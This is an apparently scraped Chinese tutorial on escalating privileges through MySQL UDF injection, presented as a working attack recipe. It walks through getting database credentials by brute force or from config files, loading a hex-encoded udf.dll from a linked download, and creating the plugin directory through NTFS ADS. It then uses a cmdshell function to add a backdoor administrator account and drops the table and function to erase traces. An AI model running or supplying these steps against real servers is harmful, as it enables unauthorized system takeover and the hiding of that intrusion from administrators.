1. 程式人生 > >提權基礎-----mysql-udf提權

提權基礎-----mysql-udf提權

paths 導出 table ads local sele 代碼 更新 reat

1.總結關於udf提權方法

通過弱口令,爆破,網站配置文件等方式得到mysql數據庫帳號密碼,---還要能外連

(1).將udf.dll代碼的16進制數聲明給my_udf_a變量

set @my_udf_a=concat(‘‘,dll的16進制);

技術分享圖片

(2).建表my_udf_data,字段為data,類型為longblob。

udf.dll
https://pan.baidu.com/s/1FY8Ej1tMDGdbb5OEcx3BgA

create table my_udf_data(data LONGBLOB);

(3)將my_udf_data表更新為@my_udf_a中的數據。

insert into my_udf_data values("");

update my_udf_data set data = @my_udf_a;

(4)查看dll導出路徑

Mysql<5.0,導出路徑隨意;

5.0<=mysql<5.1,則需要導出至目標服務器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;

mysql>5.1,需要導出dll到插件路徑,插件路徑可以用下面這條命令查看:show variables like ‘%plugin%‘;

技術分享圖片

(5)將dll導出

.dll的名字可以任意命名
技術分享圖片
*某些情況下,我們會遇到Can‘t open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默認情況下plugin不存在,怎麽辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法

select @@basedir;  
//查找到mysql的目錄
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘;  
//利用NTFS ADS創建lib目錄
select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;
//利用NTFS ADS創建plugin目錄

(6)通過cmdshell function進行提權

select cmdshell(‘net user x x /add‘);
select cmdshell(‘net localgroup administrators x /add‘);

技術分享圖片

(7)擦除痕跡:

drop table my_udf_data;
drop function cmdshell;

2.udf木馬提權

輸入數據庫帳號密碼

技術分享圖片

按說明來

提權基礎-----mysql-udf提權